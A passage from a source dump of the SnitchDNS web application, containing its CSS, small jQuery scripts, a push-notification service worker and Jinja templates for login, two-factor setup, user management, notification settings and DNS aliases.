 2 | 
 3 | 
 4 | class AuthType(BaseInstance):
 5 |     @property
 6 |     def name(self):
 7 |         return self.item.name
 8 | 
 9 |     @name.setter
10 |     def name(self, value):
11 |         self.item.name = value
12 | 


--------------------------------------------------------------------------------
/app/static/css/snitch.css:
--------------------------------------------------------------------------------
 1 | /* https://stackoverflow.com/questions/3790935/can-i-hide-the-html5-number-input-s-spin-box */
 2 | .hide-spin-buttons::-webkit-inner-spin-button,
 3 | .hide-spin-buttons::-webkit-outer-spin-button {
 4 |   -webkit-appearance: none !important;
 5 |   margin: 0 !important;
 6 | }
 7 | 
 8 | .hide-spin-buttons {
 9 |   -moz-appearance:textfield !important;
10 | }
11 | 
12 | /* For when d-none doesn't work */
13 | .hidden {
14 |     display: none !important;
15 | }
16 | 
17 | /* The border for the QR code as */
18 | .qr-box canvas {
19 |     border: 32px solid white;
20 | }
21 | 
22 | /* Fix for select2 foreground colour on dark themes. */
23 | .select2-container {
24 |     color: black;
25 | }
26 | 
27 | .select2-container--default .select2-results__option--highlighted[aria-selected] {
28 |   background-color: #303030;
29 |   color: white;
30 | }


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-brands-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-brands-400.eot


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-brands-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-brands-400.ttf


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-brands-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-brands-400.woff


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-brands-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-brands-400.woff2


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-regular-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-regular-400.eot


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-regular-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-regular-400.ttf


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-regular-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-regular-400.woff


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-regular-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-regular-400.woff2


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-solid-900.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-solid-900.eot


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-solid-900.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-solid-900.ttf


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-solid-900.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-solid-900.woff


--------------------------------------------------------------------------------
/app/static/fontawesome/webfonts/fa-solid-900.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/fontawesome/webfonts/fa-solid-900.woff2


--------------------------------------------------------------------------------
/app/static/images/favicon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/images/favicon.png


--------------------------------------------------------------------------------
/app/static/images/freepik_rat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/images/freepik_rat.png


--------------------------------------------------------------------------------
/app/static/images/freepik_rat2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/app/static/images/freepik_rat2.png


--------------------------------------------------------------------------------
/app/static/js/snitch/snitch.js:
--------------------------------------------------------------------------------
 1 | $(document).ready(function() {
 2 |     $('[data-toggle="popover"]').popover({
 3 |         html: true
 4 |     });
 5 | 
 6 |     $('[data-toggle="popover"]').click(function() {
 7 |         return false;
 8 |     });
 9 | 
10 |     $('.submit-on-click').click(function() {
11 |         $(this).closest('form').submit();
12 |         return false;
13 |     });
14 | 
15 |     $('.confirm-delete').click(function() {
16 |         var formToSubmit = $(this).closest('form').attr('id');
17 |         var text = $(this).data('text') !== undefined ? $(this).data('text') : '';
18 |         if (text.length > 0) {
19 |             $('#delete-confirmation-text').text(text);
20 |         }
21 |         $('#delete-form-to-submit').val(formToSubmit);
22 |         $('#delete-confirmation-box').modal('show');
23 |         return false;
24 |     });
25 | 
26 |     $('.delete-confirmation-button').click(function() {
27 |         var formToSubmit = $('#delete-form-to-submit').val();
28 |         $('#' + formToSubmit).submit();
29 |         $('#delete-confirmation-box').modal('hide');
30 |     });
31 | 
32 |     $('.toggle-error-box').click(function() {
33 |         var boxId = $(this).attr('data-id');
34 |         var box = $('.error-box-' + boxId);
35 |         if ($(box).hasClass('d-none')) {
36 |             $(box).removeClass('d-none');
37 |             $('html, body').animate({
38 |                 scrollTop: $(box).offset().top
39 |             });
40 |         } else {
41 |             $(box).addClass('d-none');
42 |         }
43 |         return false;
44 |     });
45 | });


--------------------------------------------------------------------------------
/app/static/js/snitch/update.js:
--------------------------------------------------------------------------------
 1 | var SnitchDNSUpdate = {
 2 |     updateUrl: '',
 3 |     currentVersion: '',
 4 | 
 5 |     init: function(updateUrl, currentVersion) {
 6 |         this.updateUrl = updateUrl;
 7 |         this.currentVersion = currentVersion;
 8 |         this.bindButton();
 9 |     },
10 | 
11 |     bindButton: function() {
12 |         $('#check_for_updates').click(function() {
13 |             SnitchDNSUpdate.check();
14 |             return false;
15 |         });
16 |     },
17 | 
18 |     check: function() {
19 |         $('#check_for_updates').text('please wait...');
20 |         $.ajax({
21 |             url: SnitchDNSUpdate.updateUrl,
22 |             cache: false,
23 |             type: 'get',
24 |             success: function(result) {
25 |                 (result && result.content)
26 |                     ? SnitchDNSUpdate.checkVersion(SnitchDNSUpdate.cleanVersion(result.content))
27 |                     : SnitchDNSUpdate.showMessage('Could not fetch latest version', 'text-danger');
28 |             },
29 |             error: function(result) {
30 |                 SnitchDNSUpdate.showMessage('Could not fetch latest version', 'text-danger');
31 |             }
32 |         });
33 |     },
34 | 
35 |     showMessage: function(message, textClass) {
36 |         $('#update_col_right').html('');
37 |         $('.update_text_left').text(message);
38 |         if (textClass.length > 0) {
39 |             $('.update_text_left').addClass(textClass);
40 |         }
41 |     },
42 | 
43 |     cleanVersion: function(version) {
44 |         return atob(version)
45 |             .replace('__version__', '')
46 |             .replace('=', '')
47 |             .replace(/'/g, '')
48 |             .trim();
49 |     },
50 | 
51 |     checkVersion: function(latestVersion) {
52 |         (latestVersion === SnitchDNSUpdate.currentVersion)
53 |             ? SnitchDNSUpdate.showMessage('You have the latest and greatest!', '')
54 |             : SnitchDNSUpdate.showMessage('There is a new version!', 'text-info');
55 |     }
56 | };
57 | 


--------------------------------------------------------------------------------
/app/static/js/webpush/sw.js:
--------------------------------------------------------------------------------
 1 | self.addEventListener('push', function(event) {
 2 |     var data = {};
 3 |     if (event.data) {
 4 |         data = event.data.json();
 5 |     }
 6 | 
 7 |     var title = data.title || 'Invalid title';
 8 |     var message = data.body || 'Invalid body';
 9 |     var url = data.url || '';
10 |     var icon = data.icon || '';
11 | 
12 |     event.waitUntil(
13 |         self.registration.showNotification(title, {
14 |             body: message,
15 |             icon: icon,
16 |             badge: icon,
17 |             data: {
18 |                 url: url
19 |             }
20 |         })
21 |     );
22 | });
23 | 
24 | self.addEventListener('notificationclick', function(event) {
25 |     event.notification.close();
26 | 
27 |     event.waitUntil(
28 |         clients.openWindow(event.notification.data.url)
29 |     );
30 | });


--------------------------------------------------------------------------------
/app/templates/auth/ldap_password.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | 
 5 | <div class="row mt-5">
 6 |     <div class="col-lg"></div>
 7 |     <div class="col-lg-5">
 8 |         <div class="card">
 9 |             <div class="card-header">Update LDAP Password</div>
10 |             <div class="card-body">
11 |                 <form method="post" action="{{ url_for('auth.ldap_changepwd_process') }}" autocomplete="off">
12 |                     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
13 |                     <input type="hidden" name="next" value="{{ next }}">
14 | 
15 |                     <div class="form-group">
16 |                         <label for="password">Current Password</label>
17 |                         <input id="password" name="password" type="password" class="form-control" placeholder="" required autofocus>
18 |                     </div>
19 | 
20 |                     <div class="form-group">
21 |                         <label for="new_password">New Password</label>
22 |                         <input id="new_password" name="new_password" type="password" class="form-control" placeholder="" required>
23 |                     </div>
24 | 
25 |                     <div class="form-group">
26 |                         <label for="confirm_password">Confirm Password</label>
27 |                         <input id="confirm_password" name="confirm_password" type="password" class="form-control" placeholder="" required>
28 |                     </div>
29 | 
30 |                     <div class="form-group">
31 |                         <button type="submit" class="btn btn-primary btn-block">login</button>
32 |                     </div>
33 |                 </form>
34 |             </div>
35 |         </div>
36 |     </div>
37 |     <div class="col-lg"></div>
38 | </div>
39 | 
40 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/auth/login.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | 
 5 | <div class="row mt-5">
 6 |     <div class="col-lg"></div>
 7 |     <div class="col-lg">
 8 |         <div class="card">
 9 |             <div class="card-header">Login</div>
10 |             <div class="card-body">
11 |                 <form method="post" action="{{ url_for('auth.login_process') }}" autocomplete="off">
12 |                     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
13 |                     <input type="hidden" name="next" value="{{ next }}">
14 | 
15 |                     <div class="form-group">
16 |                         <input name="username" type="text" class="form-control" placeholder="Username" required autofocus>
17 |                     </div>
18 |                     <div class="form-group">
19 |                         <input name="password" type="password" class="form-control" placeholder="Password" required>
20 |                     </div>
21 |                     {% if multiauth %}
22 |                     <div class="form-group">
23 |                         <select name="auth" class="form-control custom-select" required>
24 |                             <option value="">Authenticate via...</option>
25 |                             <option value="local">Local</option>
26 |                             <option value="ldap">LDAP</option>
27 |                             <option value="radius">RADIUS</option>
28 |                         </select>
29 |                     </div>
30 |                     {% endif %}
31 |                     <div class="form-group">
32 |                         <button type="submit" class="btn btn-primary btn-block">login</button>
33 |                     </div>
34 |                 </form>
35 |             </div>
36 |         </div>
37 |     </div>
38 |     <div class="col-lg"></div>
39 | </div>
40 | 
41 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/auth/login_2fa.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | 
 5 | <div class="row mt-5">
 6 |     <div class="col-lg"></div>
 7 |     <div class="col-lg">
 8 |         <div class="card">
 9 |             <div class="card-header">Two Factor Authentication</div>
10 |             <div class="card-body">
11 |                 <form method="post" action="{{ url_for('auth.login_2fa_process') }}" autocomplete="off">
12 |                     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
13 |                     <input type="hidden" name="next" value="{{ next }}">
14 | 
15 |                     <div class="form-group">
16 |                         <input name="otp" type="password" class="form-control" placeholder="Your 6-digit OTP Code" autofocus>
17 |                     </div>
18 |                     <div class="form-group">
19 |                         <button type="submit" class="btn btn-primary btn-block">login</button>
20 |                     </div>
21 |                 </form>
22 |             </div>
23 |         </div>
24 |     </div>
25 |     <div class="col-lg"></div>
26 | </div>
27 | 
28 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/config/account/profile/2fa.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         {% set active_nav = 'profile_2fa' %}
 7 |         {% include 'config/includes/sidebar.html' %}
 8 |     </div>
 9 |     <div class="col-lg-6">
10 |         <h4>Two Factor Authentication</h4>
11 | 
12 |         {% if twofa_enabled %}
13 |         <p>Two Factor Authentication is already enabled.</p>
14 |         <p>To disable it, type &quot;disable&quot; in the following input box and submit the form.</p>
15 |         <form action="{{ url_for('config.profile_2fa_save') }}" method="post">
16 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
17 | 
18 |             <div class="form-group row">
19 |                 <div class="col">
20 |                     <input type="text" name="action" id="action" value="" class="form-control" placeholder="Type 'disable'" required autofocus>
21 |                 </div>
22 |                 <div class="col-3">
23 |                     <button type="submit" class="btn btn-block btn-primary" id="disable-button">disable</button>
24 |                 </div>
25 |             </div>
26 |         </form>
27 |         {% else %}
28 |         <p>To enable Two Factor Authentication scan the code and enter the generated OTP code below</p>
29 | 
30 |         <div id="qr" class="text-center qr-box"></div>
31 | 
32 |         <div class="text-center mb-3">
33 |             <span class="mr-1">{{ otp_secret[0:4] }}</span><span class="mr-1">{{ otp_secret[4:8] }}</span><span class="mr-1">{{ otp_secret[8:12] }}</span><span>{{ otp_secret[12:16] }}</span>
34 |         </div>
35 | 
36 |         <form action="{{ url_for('config.profile_2fa_save') }}" method="post">
37 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
38 | 
39 |             <div class="form-group row">
40 |                 <div class="col">
41 |                     <input type="text" name="otp" value="" class="form-control" placeholder="6-digit OTP" required autofocus>
42 |                 </div>
43 |                 <div class="col-3">
44 |                     <button type="submit" class="btn btn-block btn-primary">enable</button>
45 |                 </div>
46 |             </div>
47 |         </form>
48 |         {% endif %}
49 |     </div>
50 |     <div class="col-lg"></div>
51 | </div>
52 | 
53 | {% if twofa_enabled %}
54 | <script type="text/javascript">
55 |     $(document).ready(function() {
56 |         $('#disable-button').prop('disabled', true);
57 |         $('#action').keyup(function() {
58 |             $('#disable-button').prop(
59 |                 'disabled',
60 |                 $(this).val().toLowerCase() != 'disable'
61 |             );
62 |         });
63 |     });
64 | </script>
65 | {% else %}
66 | <script type="text/javascript" src="{{ url_for('static', filename='js/lib/jquery-qrcode.js') }}"></script>
67 | 
68 | <script type="text/javascript">
69 |     $(document).ready(function() {
70 |         $('#qr').qrcode({
71 |             text: '{{ otp_uri }}'
72 |         });
73 |     });
74 | </script>
75 | {% endif %}
76 | 
77 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/config/system/logs/errors.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | {% from 'layout/macros.html' import render_pagination with context %}
 3 | 
 4 | {% block content %}
 5 | <div class="row mt-5">
 6 |     <div class="col-lg-3">
 7 |         {% set active_nav = 'error_logs' %}
 8 |         {% include 'config/includes/sidebar.html' %}
 9 |     </div>
10 |     <div class="col-lg">
11 |         <h4>Error Logs</h4>
12 | 
13 |         {% if results.total == 0 %}
14 |         <div class="alert alert-info">Nothing to display.</div>
15 |         {% else %}
16 |         <table class="table table-sm table-striped table-responsive-lg">
17 |             <thead>
18 |             <tr>
19 |                 <th>#</th>
20 |                 <th>username</th>
21 |                 <th>description</th>
22 |                 <th class="text-right">date</th>
23 |                 <th>details</th>
24 |             </tr>
25 |             </thead>
26 |             <tbody>
27 |             {% for result in results.items %}
28 |             <tr>
29 |                 <td>{{ result.id }}</td>
30 |                 <td>{{ result.username }}</td>
31 |                 <td>{{ result.description }}</td>
32 |                 <td class="text-right" style="white-space: nowrap;">{{ result.created_at.strftime('%Y-%m-%d %H:%M:%S') }}</td>
33 |                 <td class="text-center"><a href="#" class="toggle-error-box" data-id="{{ result.id }}" title="click here for details"><i class="fas fa-info-circle"></i></a></td>
34 |             </tr>
35 |             <tr class="d-none error-box-{{ result.id }}">
36 |                 <td colspan="2"></td>
37 |                 <td colspan="3">
38 |                     <div class="text-monospace small">
39 |                     {{ (result.details|escape).replace("\n", "<br>"|safe) }}
40 |                     </div>
41 |                 </td>
42 |             </tr>
43 |             <!-- Leave the row below to maintain striped table formatting -->
44 |             <tr class="d-none"></tr>
45 |             {% endfor %}
46 |             </tbody>
47 |         </table>
48 | 
49 |         {% if results.pages > 1 %}
50 |             {{ render_pagination(results, url_for('config.logs_errors'), 'page=') }}
51 |         {% endif %}
52 |         {% endif %}
53 |     </div>
54 | </div>
55 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/config/system/password_complexity.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         {% set active_nav = 'password_complexity' %}
 7 |         {% include 'config/includes/sidebar.html' %}
 8 |     </div>
 9 |     <div class="col-lg-5">
10 |         <h4>Password Complexity</h4>
11 |         <form action="{{ url_for('config.password_complexity_save') }}" method="post">
12 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
13 | 
14 |             <div class="form-group row">
15 |                 <div class="col">
16 |                     <label for="pwd_min_length">Minimum Length</label>
17 |                 </div>
18 |                 <div class="col">
19 |                     <input type="number" class="form-control text-right" name="pwd_min_length" id="pwd_min_length" value="{{ setting_get('pwd_min_length', '12') }}" placeholder="" required>
20 |                 </div>
21 |             </div>
22 | 
23 |             <div class="form-group row">
24 |                 <div class="col">
25 |                     <label for="pwd_min_lower">Minimum Lower</label>
26 |                 </div>
27 |                 <div class="col">
28 |                     <input type="number" class="form-control text-right" name="pwd_min_lower" id="pwd_min_lower" value="{{ setting_get('pwd_min_lower', '2') }}" placeholder="" required>
29 |                 </div>
30 |             </div>
31 | 
32 |             <div class="form-group row">
33 |                 <div class="col">
34 |                     <label for="pwd_min_upper">Minimum Upper</label>
35 |                 </div>
36 |                 <div class="col">
37 |                     <input type="number" class="form-control text-right" name="pwd_min_upper" id="pwd_min_upper" value="{{ setting_get('pwd_min_upper', '2') }}" placeholder="" required>
38 |                 </div>
39 |             </div>
40 | 
41 |             <div class="form-group row">
42 |                 <div class="col">
43 |                     <label for="pwd_min_digits">Minimum Digits</label>
44 |                 </div>
45 |                 <div class="col">
46 |                     <input type="number" class="form-control text-right" name="pwd_min_digits" id="pwd_min_digits" value="{{ setting_get('pwd_min_digits', '2') }}" placeholder="" required>
47 |                 </div>
48 |             </div>
49 | 
50 |             <div class="form-group row">
51 |                 <div class="col">
52 |                     <label for="pwd_min_special">Minimum Special</label>
53 |                 </div>
54 |                 <div class="col">
55 |                     <input type="number" class="form-control text-right" name="pwd_min_special" id="pwd_min_special" value="{{ setting_get('pwd_min_special', '2') }}" placeholder="" required>
56 |                 </div>
57 |             </div>
58 | 
59 |             <div class="form-group">
60 |                 <button type="submit" class="btn btn-block btn-primary">save</button>
61 |             </div>
62 |         </form>
63 |     </div>
64 |     <div class="col-lg"></div>
65 | </div>
66 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/config/system/slack.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         {% set active_nav = 'slack' %}
 7 |         {% include 'config/includes/sidebar.html' %}
 8 |     </div>
 9 |     <div class="col-lg-6">
10 |         <h4>Slack Webhooks</h4>
11 |         <form action="{{ url_for('config.slack_save') }}" method="post">
12 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
13 | 
14 |             <div class="form-group row">
15 |                 <div class="col">
16 |                     <label for="slack_enabled">Enable Slack Webhook Notifications</label>
17 |                 </div>
18 |                 <div class="col text-right">
19 |                     <div class="custom-control custom-switch">
20 |                         <input name="slack_enabled" type="checkbox" class="custom-control-input" id="slack_enabled" value="1" {{ 'checked' if setting_get('slack_enabled', False) == True }}>
21 |                         <label class="custom-control-label" for="slack_enabled"></label>
22 |                     </div>
23 |                 </div>
24 |             </div>
25 | 
26 |             <div class="form-group">
27 |                 <button type="submit" class="btn btn-block btn-primary">save</button>
28 |             </div>
29 |         </form>
30 |     </div>
31 |     <div class="col"></div>
32 | </div>
33 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/config/system/teams.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         {% set active_nav = 'teams' %}
 7 |         {% include 'config/includes/sidebar.html' %}
 8 |     </div>
 9 |     <div class="col-lg-6">
10 |         <h4>Teams Webhooks</h4>
11 |         <form action="{{ url_for('config.teams_save') }}" method="post">
12 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
13 | 
14 |             <div class="form-group row">
15 |                 <div class="col">
16 |                     <label for="teams_enabled">Enable Teams Webhook Notifications</label>
17 |                 </div>
18 |                 <div class="col text-right">
19 |                     <div class="custom-control custom-switch">
20 |                         <input name="teams_enabled" type="checkbox" class="custom-control-input" id="teams_enabled" value="1" {{ 'checked' if setting_get('teams_enabled', False) == True }}>
21 |                         <label class="custom-control-label" for="teams_enabled"></label>
22 |                     </div>
23 |                 </div>
24 |             </div>
25 | 
26 |             <div class="form-group">
27 |                 <button type="submit" class="btn btn-block btn-primary">save</button>
28 |             </div>
29 |         </form>
30 |     </div>
31 |     <div class="col"></div>
32 | </div>
33 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/config/system/users/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         {% set active_nav = 'users' %}
 7 |         {% include 'config/includes/sidebar.html' %}
 8 |     </div>
 9 |     <div class="col-lg">
10 |         <h4>Users</h4>
11 | 
12 |         <div class="clearfix pb-3">
13 |             <div class="float-right">
14 |                 <a href="{{ url_for('config.user_edit', user_id=0) }}" class="btn btn-primary"><i class="fas fa-user-plus"></i> <span class="ml-1">new user</span></a>
15 |             </div>
16 |         </div>
17 | 
18 |         <table class="table table-striped table-responsive-lg">
19 |             <thead>
20 |             <tr>
21 |                 <th>ID</th>
22 |                 <th>Username</th>
23 |                 <th>Full Name</th>
24 |                 <th>E-mail</th>
25 |                 <th>Auth</th>
26 |                 <th class="text-center">Admin</th>
27 |                 <th class="text-center">Active</th>
28 |                 <th class="text-center">2FA</th>
29 |                 <th></th>
30 |             </tr>
31 |             </thead>
32 |             <tbody>
33 |             {% for user in users %}
34 |             <tr>
35 |                 <td>{{ user.id }}</td>
36 |                 <td>{{ user.username }}</td>
37 |                 <td>{{ user.full_name }}</td>
38 |                 <td>{{ user.email }}</td>
39 |                 <td>{{ auth_types[user.auth_type_id] }}</td>
40 |                 <td class="text-center">
41 |                     {% set class = 'success' if user.admin else 'danger' %}
42 |                     {% set icon = 'check' if user.admin else 'times' %}
43 |                     <span class="text-{{ class }}"><i class="fas fa-{{ icon }} fa-fw"></i></span>
44 |                 </td>
45 |                 <td class="text-center">
46 |                     {% set class = 'success' if user.active else 'danger' %}
47 |                     {% set icon = 'check' if user.active else 'times' %}
48 |                     <span class="text-{{ class }}"><i class="fas fa-{{ icon }} fa-fw"></i></span>
49 |                 </td>
50 |                 <td class="text-center">
51 |                     {% set class = 'success' if user.has_2fa() else 'danger' %}
52 |                     {% set icon = 'check' if user.has_2fa() else 'times' %}
53 |                     <span class="text-{{ class }}"><i class="fas fa-{{ icon }} fa-fw"></i></span>
54 |                 </td>
55 |                 <td class="text-right">
56 |                     <a href="{{ url_for('config.user_edit', user_id=user.id) }}"><i class="fas fa-edit"></i></a>
57 |                 </td>
58 |             </tr>
59 |             {% endfor %}
60 |             </tbody>
61 |         </table>
62 |     </div>
63 | </div>
64 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/config/system/webpush.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         {% set active_nav = 'webpush' %}
 7 |         {% include 'config/includes/sidebar.html' %}
 8 |     </div>
 9 |     <div class="col-lg-5">
10 |         <h4>Web Push Notifications</h4>
11 |         <form action="{{ url_for('config.webpush_save') }}" method="post">
12 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
13 | 
14 |             <p><small>To generate a VAPID keypair <a href="#" id="vapid-generate-key">click here</a></small></p>
15 | 
16 |             <div class="form-group row">
17 |                 <div class="col">
18 |                     <label for="webpush_enabled">Enable Push Notifications</label>
19 |                 </div>
20 |                 <div class="col text-right">
21 |                     <div class="custom-control custom-switch">
22 |                         <input name="webpush_enabled" type="checkbox" class="custom-control-input" id="webpush_enabled" value="1" {{ 'checked' if setting_get('webpush_enabled', False) == True }}>
23 |                         <label class="custom-control-label" for="webpush_enabled"></label>
24 |                     </div>
25 |                 </div>
26 |             </div>
27 | 
28 |             <div class="form-group row">
29 |                 <div class="col">
30 |                     <label for="vapid_private">VAPID Private Key</label>
31 |                 </div>
32 |                 <div class="col">
33 |                     <input name="vapid_private" type="password" id="vapid_private" class="form-control text-right" value="{{ '********' if setting_get('vapid_private', '')|length > 0 }}" placeholder="" required>
34 |                 </div>
35 |             </div>
36 | 
37 |             <div class="form-group row">
38 |                 <div class="col">
39 |                     <label for="vapid_public">VAPID Public Key</label>
40 |                 </div>
41 |                 <div class="col">
42 |                     <input name="vapid_public" type="text" id="vapid_public" class="form-control text-right" value="{{ setting_get('vapid_public', '') }}" placeholder="" required>
43 |                 </div>
44 |             </div>
45 | 
46 |             <div class="form-group">
47 |                 <button type="submit" class="btn btn-block btn-primary">save</button>
48 |             </div>
49 |         </form>
50 |     </div>
51 |     <div class="col"></div>
52 | </div>
53 | 
54 | <script type="text/javascript" src="{{ url_for('static', filename='js/webpush/vapid.generate.js') }}"></script>
55 | 
56 | <script type="text/javascript">
57 |     $(document).ready(function() {
58 |         $('#vapid-generate-key').click(function() {
59 |             VAPIDKeyGeneration.generate('#vapid_public', '#vapid_private');
60 |             return false;
61 |         });
62 |     });
63 | </script>
64 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/dns/aliases/edit.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3"></div>
 6 |     <div class="col-lg">
 7 |         <div class="card">
 8 |             <div class="card-header">{{ 'Edit' if alias_id > 0 else 'Create' }} Alias</div>
 9 |             <div class="card-body">
10 |                 <form action="{{ url_for('dns.alias_edit_save', alias_id=alias_id) }}" method="post">
11 |                     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
12 | 
13 |                     <div class="form-group">
14 |                         <label for="ip">IP Address</label>
15 |                         <input type="text" name="ip" id="ip" class="form-control" value="{{ alias.ip if alias_id > 0 else autofill_ip }}" required autofocus>
16 |                     </div>
17 | 
18 |                     <div class="form-group">
19 |                         <label for="name">Name</label>
20 |                         <input type="text" name="name" id="name" class="form-control" value="{{ alias.name if alias_id > 0 }}" required placeholder="TV, mobile, laptop, oven">
21 |                     </div>
22 | 
23 |                     <div class="form-group">
24 |                         <button type="submit" class="btn btn-block btn-primary">save</button>
25 |                     </div>
26 |                 </form>
27 |             </div>
28 |         </div>
29 |     </div>
30 |     <div class="col-lg-3"></div>
31 | </div>
32 | 
33 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/dns/aliases/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3"></div>
 6 |     <div class="col-lg">
 7 | 
 8 |         <h3>
 9 |             <div class="row">
10 |                 <div class="col">Aliases</div>
11 |                 <div class="col text-right">
12 |                     <a href="{{ url_for('dns.alias_edit', alias_id=0) }}" class="btn btn-sm btn-primary"><i class="fas fa-plus fa-fw"></i> create</a>
13 |                 </div>
14 |             </div>
15 |         </h3>
16 | 
17 | 
18 |         {% if aliases|length == 0 %}
19 |         <div class="alert alert-info text-center">No aliases created yet.</div>
20 |         {% else %}
21 |         <table class="table table-striped table-responsive-lg">
22 |             <thead>
23 |             <tr>
24 |                 <th>#</th>
25 |                 <th style="width: 100%;">Name</th>
26 |                 <th>IP</th>
27 |                 <th></th>
28 |             </tr>
29 |             </thead>
30 |             <tbody>
31 |             {% for alias in aliases %}
32 |             <tr>
33 |                 <td>{{ loop.index }}</td>
34 |                 <td>{{ alias.name }}</td>
35 |                 <td>{{ alias.ip }}</td>
36 |                 <td style="white-space: nowrap;">
37 |                     <a href="{{ url_for('dns.alias_edit', alias_id=alias.id) }}" title="edit alias"><i class="fas fa-edit"></i></a>
